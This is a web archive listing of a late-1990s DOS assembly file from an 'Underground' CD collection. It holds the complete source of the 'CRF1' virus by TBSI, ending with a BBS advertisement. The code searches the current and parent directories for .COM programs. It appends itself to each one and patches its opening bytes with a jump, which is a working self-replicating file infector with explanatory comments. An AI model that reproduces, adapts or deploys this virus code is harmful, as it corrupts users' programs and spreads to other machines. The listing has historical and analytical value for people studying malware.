home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / crf.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.4 KB  |  193 lines

  1.     title "CRF1 virus.  Born on the Fourth of July.  Written by TBSI."
  2.  
  3.                             page 60,80
  4.  
  5. code segment                        word public 'code'
  6.  
  7.                             assume cs:code,ds:code
  8.  
  9.                             org    100h
  10.  
  11. main proc;edure
  12.  
  13.  
  14.  
  15.  
  16.  
  17. ; As referenced in this source listing, Top-Of-File represents location 100h in
  18.  
  19. ; the current memory segment, which is where the virus code is loaded into mem.
  20.  
  21. ; The word "program" refers to the infected programs code and "virus" refers to
  22.  
  23. ; the virus's code.  This information is included to clarify my use of the word
  24.  
  25. ; "program" in the remarks throughout this listing.
  26.  
  27.  
  28.  
  29. ; Since the virus (with the exception of "call skip" and "db 26") can be loaded
  30.  
  31. ; anywhere in memory depending on the length of the infected program, I made it
  32.  
  33. ; to where the BP register would be loaded with the displacement of the code in
  34.  
  35. ; memory.  This was done as follows:
  36.  
  37. ;             1) a CALL instruction was issued.  It places the TRUE return
  38.  
  39. ;                 address onto the stack.
  40.  
  41. ;             2) instead of returning to there, the value was popped off of
  42.  
  43. ;                 the stack into the BP register
  44.  
  45. ;             3) then, it subtracts the EXPECTED value of BP (the address of
  46.  
  47. ;                 EOFMARK in the 1st-time copy) from BP to get the offset.
  48.  
  49. ;             4) all references to memory locations were thereafter changed
  50.  
  51. ;                 to refernces to EXPECTED memory locations + BP
  52.  
  53. ; This fixed the problem.
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63. tof:                            ;Top-Of-File
  64.  
  65.         jmp    short begin            ;Skip over program
  66.  
  67.         nop                    ;Reserve 3rd byte
  68.  
  69. EOFMARK:    db    26                ;Disable DOS's TYPE
  70.  
  71.  
  72.  
  73. first_four:    nop                    ;First run copy only!
  74.  
  75. address:    int    20h                ;First run copy only!
  76.  
  77. check:        nop                    ;First run copy only!
  78.  
  79.  
  80.  
  81. begin:        call    nextline            ;Push BP onto stack
  82.  
  83. nextline:    pop    bp                ;BP=location of Skip
  84.  
  85.         sub    bp,offset nextline        ;BP=offset from 1st run
  86.  
  87.  
  88.  
  89.         mov    byte ptr [bp+offset infected],0    ;Reset infection count
  90.  
  91.  
  92.  
  93.         lea    si,[bp+offset first_four]    ;Original first 4 bytes
  94.  
  95.         mov    di,offset tof            ;TOF never changes
  96.  
  97.         mov    cx,4                ;Lets copy 4 bytes
  98.  
  99.         cld                    ;Read left-to-right
  100.  
  101.         rep    movsb                ;Copy the 4 bytes
  102.  
  103.  
  104.  
  105.         mov    ah,1Ah                ;Set DTA address ...
  106.  
  107.         lea    dx,[bp+offset DTA]        ; ... to *our* DTA
  108.  
  109.         int    21h                ;Call DOS to set DTA
  110.  
  111.  
  112.  
  113.         mov    ah,4Eh                ;Find First ASCIIZ
  114.  
  115.         lea    dx,[bp+offset filespec]        ;DS:DX -} '*.COM',0
  116.  
  117.         lea    si,[bp+offset filename]        ;Point to file
  118.  
  119.         push    dx                ;Save DX
  120.  
  121.         jmp    short continue            ;Continue...
  122.  
  123.  
  124.  
  125. return:        mov    ah,1ah                ;Set DTA address ...
  126.  
  127.         mov    dx,80h                ; ... to default DTA
  128.  
  129.         int    21h                ;Call DOS to set DTA
  130.  
  131.         xor    ax,ax                ;AX= 0
  132.  
  133.         mov    bx,ax                ;BX= 0
  134.  
  135.         mov    cx,ax                ;CX= 0
  136.  
  137.         mov    dx,ax                ;DX= 0
  138.  
  139.         mov    si,ax                ;SI= 0
  140.  
  141.         mov    di,ax                ;DI= 0
  142.  
  143.         mov    sp,0FFFEh            ;SP= 0
  144.  
  145.         mov    bp,100h                ;BP= 100h (RETurn addr)
  146.  
  147.         push    bp                ; Put on stack
  148.  
  149.         mov    bp,ax                ;BP= 0
  150.  
  151.         ret                    ;JMP to 100h
  152.  
  153.  
  154.  
  155. nextfile:    or    bx,bx                ;Did we open the file?
  156.  
  157.         jz    skipclose            ;No, so don't close it
  158.  
  159.         mov    ah,3Eh                ;Close file
  160.  
  161.         int    21h                ;Call DOS to close it
  162.  
  163.         xor    bx,bx                ;Set BX back to 0
  164.  
  165. skipclose:    mov    ah,4Fh                ;Find Next ASCIIZ
  166.  
  167.  
  168.  
  169. continue:    pop    dx                ;Restore DX
  170.  
  171.         push    dx                ;Re-save DX
  172.  
  173.         xor    cx,cx                ;CX= 0
  174.  
  175.         xor    bx,bx
  176.  
  177.         int    21h                ;Find First/Next
  178.  
  179.         jnc    skipjmp
  180.  
  181.         jmp    NoneLeft            ;Out of files
  182.  
  183.  
  184.  
  185. skipjmp:    mov    ax,3D02h            ;open file
  186.  
  187.         mov    dx,si                ;point to filespec
  188.  
  189.         int    21h                ;Call DOS to open file
  190.  
  191.         jc    nextfile            ;Next file if error
  192.  
  193.  
  194.  
  195.         mov    bx,ax                ;get the handle
  196.  
  197.         mov    ah,3Fh                ;Read from file
  198.  
  199.         mov    cx,4                ;Read 4 bytes
  200.  
  201.         lea    dx,[bp+offset first_four]    ;Read in the first 4
  202.  
  203.         int    21h                ;Call DOS to read
  204.  
  205.  
  206.  
  207.         cmp    byte ptr [bp+offset check],26    ;Already infected?
  208.  
  209.         je    nextfile            ;Yep, try again ...
  210.  
  211.         cmp    byte ptr [bp+offset first_four],77  ;Mis-named .EXE?
  212.  
  213.         je    nextfile            ;Yep, maybe next time!
  214.  
  215.  
  216.  
  217.         mov    ax,4202h            ;LSeek to EOF
  218.  
  219.         xor    cx,cx                ;CX= 0
  220.  
  221.         xor    dx,dx                ;DX= 0
  222.  
  223.         int    21h                ;Call DOS to LSeek
  224.  
  225.  
  226.  
  227.         cmp    ax,0FD00h            ;Longer than 63K?
  228.  
  229.         ja    nextfile            ;Yep, try again...
  230.  
  231.         mov    [bp+offset addr],ax        ;Save call location
  232.  
  233.  
  234.  
  235.         mov    ah,40h                ;Write to file
  236.  
  237.         mov    cx,4                ;Write 4 bytes
  238.  
  239.         lea    dx,[bp+offset first_four]    ;Point to buffer
  240.  
  241.         int    21h                ;Save the first 4 bytes
  242.  
  243.  
  244.  
  245.         mov    ah,40h                ;Write to file
  246.  
  247.         mov    cx,offset eof-offset begin    ;Length of target code
  248.  
  249.         lea    dx,[bp+offset begin]        ;Point to virus start
  250.  
  251.         int    21h                ;Append the virus
  252.  
  253.  
  254.  
  255.         mov    ax,4200h            ;LSeek to TOF
  256.  
  257.         xor    cx,cx                ;CX= 0
  258.  
  259.         xor    dx,dx                ;DX= 0
  260.  
  261.         int    21h                ;Call DOS to LSeek
  262.  
  263.  
  264.  
  265.         mov    ax,[bp+offset addr]        ;Retrieve location
  266.  
  267.         inc    ax                ;Adjust location
  268.  
  269.  
  270.  
  271.         mov    [bp+offset address],ax        ;address to call
  272.  
  273.         mov    byte ptr [bp+offset first_four],0E9h  ;JMP rel16 inst.
  274.  
  275.         mov    byte ptr [bp+offset check],26    ;EOFMARK
  276.  
  277.  
  278.  
  279.         mov    ah,40h                ;Write to file
  280.  
  281.         mov    cx,4                ;Write 4 bytes
  282.  
  283.         lea    dx,[bp+offset first_four]    ;4 bytes are at [DX]
  284.  
  285.         int    21h                ;Write to file
  286.  
  287.  
  288.  
  289.         inc    byte ptr [bp+offset infected]    ;increment counter
  290.  
  291.         jmp    nextfile            ;Any more?
  292.  
  293.  
  294.  
  295. NoneLeft:    cmp    byte ptr [bp+offset infected],2    ;At least 2 infected?
  296.  
  297.         jae    TheEnd                ;The party's over!
  298.  
  299.  
  300.  
  301.         mov    di,100h                ;DI= 100h
  302.  
  303.         cmp    word ptr [di],20CDh        ;an INT 20h?
  304.  
  305.         je    TheEnd                ;Don't go to prev. dir.
  306.  
  307.  
  308.  
  309.         lea    dx,[bp+offset prevdir]        ;'..'
  310.  
  311.         mov    ah,3Bh                ;Set current directory
  312.  
  313.         int    21h                ;CHDIR ..
  314.  
  315.         jc    TheEnd                ;We're through!
  316.  
  317.         mov    ah,4Eh
  318.  
  319.         jmp    continue            ;Start over in new dir
  320.  
  321.  
  322.  
  323. TheEnd:        jmp    return                ;The party's over!
  324.  
  325.  
  326.  
  327. filespec:    db    '*.COM',0            ;File specification
  328.  
  329. prevdir:    db    '..',0                ;previous directory
  330.  
  331.  
  332.  
  333. ; None of this information is included in the virus's code.  It is only used
  334.  
  335. ; during the search/infect routines and it is not necessary to preserve it
  336.  
  337. ; in between calls to them.
  338.  
  339.  
  340.  
  341. eof:
  342.  
  343. DTA:        db    21 dup (?)            ;internal search's data
  344.  
  345.  
  346.  
  347. attribute    db    ?                ;attribute
  348.  
  349. file_time    db    2 dup (?)            ;file's time stamp
  350.  
  351. file_date    db    2 dup (?)            ;file's date stamp
  352.  
  353. file_size    db    4 dup (?)            ;file's size
  354.  
  355. filename    db    13 dup (?)            ;filename
  356.  
  357.  
  358.  
  359. infected    db    ?                ;infection count
  360.  
  361.  
  362.  
  363. addr        dw    ?                ;Address
  364.  
  365.  
  366.  
  367.                             main endp;rocedure
  368.  
  369.                             code ends;egment
  370.  
  371.  
  372.  
  373.             end main
  374.  
  375. ; ─────────────────────────────────────────────────────────────────────────
  376.  
  377. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  378.  
  379. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  380.  
  381. ; ─────────────────────────────────────────────────────────────────────────
  382.  
  383.  
  384.  
  385.